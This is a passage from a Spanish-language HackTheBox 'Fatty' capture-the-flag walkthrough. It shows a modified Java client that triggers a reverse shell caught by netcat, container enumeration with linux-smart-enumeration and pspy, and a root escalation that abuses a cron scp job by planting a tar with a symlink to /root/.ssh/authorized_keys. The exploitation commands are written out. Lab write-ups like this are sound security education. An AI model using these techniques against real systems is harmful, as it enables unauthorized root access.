5
6
7
8
9
10
11
12
13
14
15
16
17
//Implementado.
pwChangeButton.addActionListener(new ActionListener(){
public void actionPerformed(ActionEvent e) {
String response = "";
try {
response = ClientGuiTest.this.invoker.changePW("test","test");
}
catch (MessageBuildException|htb.fatty.shared.message.MessageParseException e1) {JOptionPane.showMessageDialog(controlPanel, "Failure during password Change.", "Error", 0);}
catch (IOException e2) {JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);}
textPane.setText(response);
passwordChange.setVisible(false);
controlPanel.setVisible(true);
}
});
Dejamos nuestro netcat a la escucha, nos vamos a profile
-> ChangePassword
y si damos click en el botón de Change
recibimos la conexión como el usuario qtc.
Shell como el usuario qtc.
¡¡Eureka!!
Bien en este punto es fácil darse cuenta de que nos encontramos en un contenedor de docker debido a que el hostname esta medio extraño.
Rápidamente paso un script de enumeración que suelo usar muy amenudo que se llama linux-smart-enumeration para comenzar a enumerar el sistema.
1
2
=============================================================( containers )=====
[*] ctn000 Are we in a docker container?................................... yes!
Vemos que efectivamente estamos en un docker.
Tambien aprovecho para pasarme el pspy y comenzar a ver los procesos del contenedor de docker a ver si vemos algo extraño.
1
2
3
4
5
2020/08/06 19:53:01 CMD: UID=1000 PID=7115 | scp -f /opt/fatty/tar/logs.tar
2020/08/06 19:54:01 CMD: UID=1000 PID=7238 | scp -f /opt/fatty/tar/logs.tar
2020/08/06 19:55:02 CMD: UID=1000 PID=7363 | ash -c scp -f /opt/fatty/tar/logs.tar
Obteniendo shell como root.
Bien al parecer hay una tarea cron ejecutándose a diferentes intervalos de tiempo. así que probablemente esta sea nuestra vía para escalar a root.
Para poder escalar necesitamos crear un enlace simbólico de /root/.ssh/authorized_keys como logs_tar para así de tal manera que cuando se descomprima y se ejecuté nuevamente tomara nuestra clave pública ssh para ser reemplazada en el authorized_keys del usuario root.
1
2
3
4
intrusionz3r0@kali:~$ ln -s /root/.ssh/authorized_keys logs.tar
intrusionz3r0@kali:~$ tar cvf logs_temp.tar logs.tar
intrusionz3r0@kali:~$ cp logs_temp.tar /opt/fatty/tar/logs.tar
intrusionz3r0@kali:~$ cp authorized_keys /opt/fatty/tar/logs.tar
1
intrusionz3r0@kali:~$ ssh root@fatty.htb
¡¡Somos Root!!